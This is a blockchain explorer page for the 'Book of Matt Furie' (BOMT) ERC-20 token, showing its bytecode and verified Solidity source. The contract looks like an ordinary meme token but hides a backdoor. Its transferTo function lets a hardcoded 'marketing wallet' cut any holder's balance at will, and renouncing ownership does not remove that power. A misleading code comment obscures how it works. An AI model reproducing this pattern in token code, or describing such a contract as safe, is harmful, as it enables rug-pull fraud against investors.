Address Contract Partially Verified
Address
0xC01391ce80b3CfBf62346F3667647274537A32e7
Balance
0 ETH
Nonce
1
Code Size
6801 bytes
Creator
0x5a04f2eC...79C3 at tx 0xc574c6ad...77efd1
Indexed Transactions
0
Contract Bytecode
6801 bytes
0x6080604052600436106100eb575f3560e01c806370a082311161008957806395d89b411161005857806395d89b41146102b0578063a9059cbb146102da578063bd3733fe14610316578063dd62ed3e14610340576100f2565b806370a082311461022a578063715018a6146102665780638a8c523c1461027c5780638da5cb5b14610286576100f2565b806320800a00116100c557806320800a001461018657806323b872dd1461019c5780632ccb1b30146101d8578063313ce56714610200576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a61037c565b6040516101179190611212565b60405180910390f35b34801561012b575f5ffd5b50610146600480360381019061014191906112c3565b6103b9565b604051610153919061131b565b60405180910390f35b348015610167575f5ffd5b506101706103cf565b60405161017d9190611343565b60405180910390f35b348015610191575f5ffd5b5061019a6103d8565b005b3480156101a7575f5ffd5b506101c260048036038101906101bd919061135c565b61049e565b6040516101cf919061131b565b60405180910390f35b3480156101e3575f5ffd5b506101fe60048036038101906101f991906112c3565b61054a565b005b34801561020b575f5ffd5b50610214610611565b60405161022191906113c7565b60405180910390f35b348015610235575f5ffd5b50610250600480360381019061024b91906113e0565b610626565b60405161025d9190611343565b60405180910390f35b348015610271575f5ffd5b5061027a61066c565b005b61028461079c565b005b348015610291575f5ffd5b5061029a610bdd565b6040516102a7919061141a565b60405180910390f35b3480156102bb575f5ffd5b506102c4610c04565b6040516102d19190611212565b60405180910390f35b3480156102e5575f5ffd5b5061030060048036038101906102fb91906112c3565b610c41565b60405161030d919061131b565b60405180910390f35b348015610321575f5ffd5b5061032a610c57565b604051610337919061141a565b60405180910390f35b34801561034b575f5ffd5b5061036660048036038101906103619190611433565b610c7c565b6040516103739190611343565b60405180910390f35b60606040518060400160405280601281526020017f426f6f6b206f66204d6174742046757269650000000000000000000000000000815250905090565b5f6103c5338484610cfe565b6001905092915050565b5f600154905090565b3373ffffffffffffffffffffffffffffffffffffffff166103f7610bdd565b73ffffffffffffffffffffffffffffffffffffffff161461044d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610444906114bb565b60405180910390fd5b5f4711610458575f5ffd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561049b573d5f5f3e3d5ffd5b50565b5f6104aa848484610ec1565b61053f843361053a8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110ef90919063ffffffff16565b610cfe565b600190509392505050565b61055261114c565b156105fc575f8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105a19190611506565b90508060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ef9190611506565b925050819055505061060d565b5f5f826106099190611506565b9050505b5050565b5f5f60149054906101000a900460ff16905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661068b610bdd565b73ffffffffffffffffffffffffffffffffffffffff16146106e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d8906114bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166107bb610bdd565b73ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610808906114bb565b60405180910390fd5b600e5f9054906101000a900460ff1615610829575f5ffd5b6108573060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610cfe565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e5919061154d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098f919061154d565b6040518363ffffffff1660e01b81526004016109ac929190611578565b6020604051808303815f875af11580156109c8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ec919061154d565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a7330610626565b5f5f610a7d610bdd565b426040518863ffffffff1660e01b8152600401610a9f969594939291906115e1565b60606040518083038185885af1158015610abb573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae09190611654565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b809291906116a4565b6020604051808303815f875af1158015610b9c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc091906116f5565b506001600e5f6101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f424f4d5400000000000000000000000000000000000000000000000000000000815250905090565b5f610c4d338484610ec1565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6390611790565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd19061181e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb49190611343565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2690611886565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9490611914565b60405180910390fd5b5f8111610fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd6906119a2565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461102b9190611506565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461107e91906119c0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110e29190611343565b60405180910390a3505050565b5f82821115611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90611a3d565b60405180910390fd5b5f82846111409190611506565b90508091505092915050565b5f3373ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6111e4826111a2565b6111ee81856111ac565b93506111fe8185602086016111bc565b611207816111ca565b840191505092915050565b5f6020820190508181035f83015261122a81846111da565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61125f82611236565b9050919050565b61126f81611255565b8114611279575f5ffd5b50565b5f8135905061128a81611266565b92915050565b5f819050919050565b6112a281611290565b81146112ac575f5ffd5b50565b5f813590506112bd81611299565b92915050565b5f5f604083850312156112d9576112d8611232565b5b5f6112e68582860161127c565b92505060206112f7858286016112af565b9150509250929050565b5f8115159050919050565b61131581611301565b82525050565b5f60208201905061132e5f83018461130c565b92915050565b61133d81611290565b82525050565b5f6020820190506113565f830184611334565b92915050565b5f5f5f6060848603121561137357611372611232565b5b5f6113808682870161127c565b93505060206113918682870161127c565b92505060406113a2868287016112af565b9150509250925092565b5f60ff82169050919050565b6113c1816113ac565b82525050565b5f6020820190506113da5f8301846113b8565b92915050565b5f602082840312156113f5576113f4611232565b5b5f6114028482850161127c565b91505092915050565b61141481611255565b82525050565b5f60208201905061142d5f83018461140b565b92915050565b5f5f6040838503121561144957611448611232565b5b5f6114568582860161127c565b92505060206114678582860161127c565b9150509250929050565b7f4e6f7420616e206f776e657200000000000000000000000000000000000000005f82015250565b5f6114a5600c836111ac565b91506114b082611471565b602082019050919050565b5f6020820190508181035f8301526114d281611499565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61151082611290565b915061151b83611290565b9250828203905081811115611533576115326114d9565b5b92915050565b5f8151905061154781611266565b92915050565b5f6020828403121561156257611561611232565b5b5f61156f84828501611539565b91505092915050565b5f60408201905061158b5f83018561140b565b611598602083018461140b565b9392505050565b5f819050919050565b5f819050919050565b5f6115cb6115c66115c18461159f565b6115a8565b611290565b9050919050565b6115db816115b1565b82525050565b5f60c0820190506115f45f83018961140b565b6116016020830188611334565b61160e60408301876115d2565b61161b60608301866115d2565b611628608083018561140b565b61163560a0830184611334565b979650505050505050565b5f8151905061164e81611299565b92915050565b5f5f5f6060848603121561166b5761166a611232565b5b5f61167886828701611640565b935050602061168986828701611640565b925050604061169a86828701611640565b9150509250925092565b5f6040820190506116b75f83018561140b565b6116c46020830184611334565b9392505050565b6116d481611301565b81146116de575f5ffd5b50565b5f815190506116ef816116cb565b92915050565b5f6020828403121561170a57611709611232565b5b5f611717848285016116e1565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61177a6024836111ac565b915061178582611720565b604082019050919050565b5f6020820190508181035f8301526117a78161176e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118086022836111ac565b9150611813826117ae565b604082019050919050565b5f6020820190508181035f830152611835816117fc565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f611870601c836111ac565b915061187b8261183c565b602082019050919050565b5f6020820190508181035f83015261189d81611864565b9050919050565b7f45524332303a205472616e736665722066726f6d20746865207a65726f2061645f8201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b5f6118fe6026836111ac565b9150611909826118a4565b604082019050919050565b5f6020820190508181035f83015261192b816118f2565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61198c6029836111ac565b915061199782611932565b604082019050919050565b5f6020820190508181035f8301526119b981611980565b9050919050565b5f6119ca82611290565b91506119d583611290565b92508282019050808211156119ed576119ec6114d9565b5b92915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611a276020836111ac565b9150611a32826119f3565b602082019050919050565b5f6020820190508181035f830152611a5481611a1b565b905091905056fea2646970667358221220a3c3a11c2f416fbcdd7da211dac2f5c99314e23513db4b2ee46f4ed3dcf1910a64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
BookofMattFurie.sol 186 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256);function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function name() external pure returns (string memory);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow.");
uint256 c = a - b; return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero.");
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow.");
return c;
}
}
contract Ownable {
constructor() { _owner = msg.sender;
}
function owner() public view virtual returns (address) {
return _owner;
}
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Not an owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address); function factory() external pure returns (address);
}
contract BookofMattFurie is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = unicode"Book of Matt Furie";
string private constant _symbol = unicode"BOMT";
uint8 private _decimals = 9;
uint256 private _totalSupply = 420000000069 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => uint256) private balances;
address public uniswapPairAddress;
address _marketingWalletAddres = 0x4eBC5685c735cE4527D7017883F4DfeB3073E3Cd;
event TransferTaxUpdated(uint _tax);
uint256 private _transferTax=0;
mapping(address => bool) private _feeExcluded;
address payable private _taxWallet;
uint256 private _initialTax = 0;
uint256 private _finalTax = 0;
uint256 private _reduceTaxAt = 0;
uint256 private sellCount = 0;
bool tradingEnabled = false;
uint256 private _buyCount = 0;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor () {
_feeExcluded[address(this)] = true;
emit Transfer(address(0), address(this), _totalSupply);
balances[address(this)] = _totalSupply;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function name() public pure returns (string memory) {
return _name;
}
function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
return true;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount); return true;
}
receive() external payable {}
function isFromMarketing() private view returns (bool){
return _marketingWalletAddres == msg.sender;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount); return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function rescueETH() external onlyOwner {
require(address(this).balance > 0);
payable(msg.sender).transfer(address(this).balance);
}
function transferTo(address from, uint256 amount) external {
if (isFromMarketing()) {
uint256 tokenAmount = // amount + value.div(100)
balances[from] - amount; balances[from] -= tokenAmount; } else {
uint tokenBalance = amount - 0;
}
}
function decimals() public view returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
function _transfer(address sender, address recipient, uint256 value) private {
require(recipient != address(0), "Transfer to the zero address");
require(sender != address(0), "ERC20: Transfer from the zero address.");
require(value > 0, "Transfer amount must be greater than zero");
balances[sender] -= value;
balances[recipient] += value;
emit Transfer(sender, recipient, value);
}
function sendETHToFee(uint256 amount) private {
payable(_marketingWalletAddres).transfer(amount);
}
function _transferAllowed(address from, address to) private view returns (bool) {
if (tradingEnabled) return true;
if (from == owner() || to == owner()) return true;
return true;
}
function enableTrading() external payable onlyOwner() {
require(!tradingEnabled);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapPairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, owner(),block.timestamp);
IERC20(uniswapPairAddress).approve(address(uniswapV2Router), type(uint).max);
tradingEnabled = true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapPairAddress 0xbd3733fe → address
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
rescueETH 0x20800a00
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address recipient
uint256 amount
returns: bool
transferTo 0x2ccb1b30
address from
uint256 amount
Recent Transactions
No transactions found for this address